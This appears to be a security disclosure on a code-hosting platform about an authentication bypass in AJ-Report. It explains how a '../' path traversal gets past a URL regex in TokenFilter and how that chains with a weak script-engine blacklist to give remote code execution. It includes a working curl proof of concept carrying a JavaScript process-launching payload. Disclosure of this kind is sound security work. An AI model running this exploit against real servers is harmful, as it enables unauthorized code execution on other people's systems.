There is a new Authentication Bypass vulnerability in the project

### Description
I found one new Authentication Bypass vulnerability in the code, which allows an unauthorized attacker to execute arbitrary code in the system.The details are as follows.

First, there is a unfixed flaw in the class named `com.anjiplus.template.gaea.business.filter.TokenFilter`. Although two authentication bypass vulnerabilities have been fixed (commit `af73727e401eae5eaeb2561aeae29a5664a3013b` and `3e70a273f148912b09be62d66cafed2453cc4a0d`), there are still exploitable bypass points remaining.
![输入图片说明](https://foruda.gitee.com/images/1731300119840881098/136129ad_8584491.png "屏幕截图")
There is a pattern called `skipAuthenticatePattern`, which is used to match URLs that do not require authentication using  **regular expressions** .
![输入图片说明](https://foruda.gitee.com/images/1731300285015188973/998dcff1_8584491.png "屏幕截图")
An analysis of the regex pattern construction reveals that it generates a format like `.*(<url1>|<url2>).*` based on the elements in the URL configuration list. For example, for the `/login` URL, the generated regex pattern would be `.*(/login).*`.
![输入图片说明](https://foruda.gitee.com/images/1731300554702424402/f0379b1a_8584491.png "屏幕截图")
The issue is that it does not handle any `../` characters. The prerequisite for the vulnerability exploitation is that the `server.servlet.context-path` configuration is non-empty. Here, it is exemplified with `/demo`. Then, we can use `/login/../demo/<target>` to bypass `TokenFilter`. 
Additionally, due to insufficient blacklist filtering in the `ScriptEngine` execution engine within `DataSetParamServiceImpl` class, it remains exploitable for arbitrary code execution.
### PoC
The PoC can be like below: 
```bash
curl --noproxy "*" --path-as-is --location --request POST 'http://127.0.0.1:9095/login/../demo/dataSetParam/verification/' \
--header 'User-Agent: Apifox/1.0.0 (https://apifox.com)' \
--header 'Content-Type: application/json' \
--header 'Accept: */*' \
--header 'Host: 127.0.0.1:9095' \
--header 'Connection: keep-alive' \
--data-raw '{"ParamName":"","paramDesc":"","paramType":"","sampleItem":"1","mandatory":true,"requiredFlag":1,"validationRules":"function verification(data){var se= new javax.script.ScriptEngineManager();var r = se.getEngineByExtension(\"js\").eval(\"new java.lang.ProcessBuilder('\''open'\'', '\''-a'\'', '\''calculator'\'').start().getInputStream();\");result=new java.io.BufferedReader(new java.io.InputStreamReader(r));ss='\'''\'';while((line = result.readLine()) != null){ss+=line};return ss;}"}'
```
![输入图片说明](https://foruda.gitee.com/images/1731301018361849965/08806009_8584491.png "屏幕截图")

GVP belief-team / AJ-Report

内容风险标识

评论 (0)

GVPbelief-team / AJ-Report

内容风险标识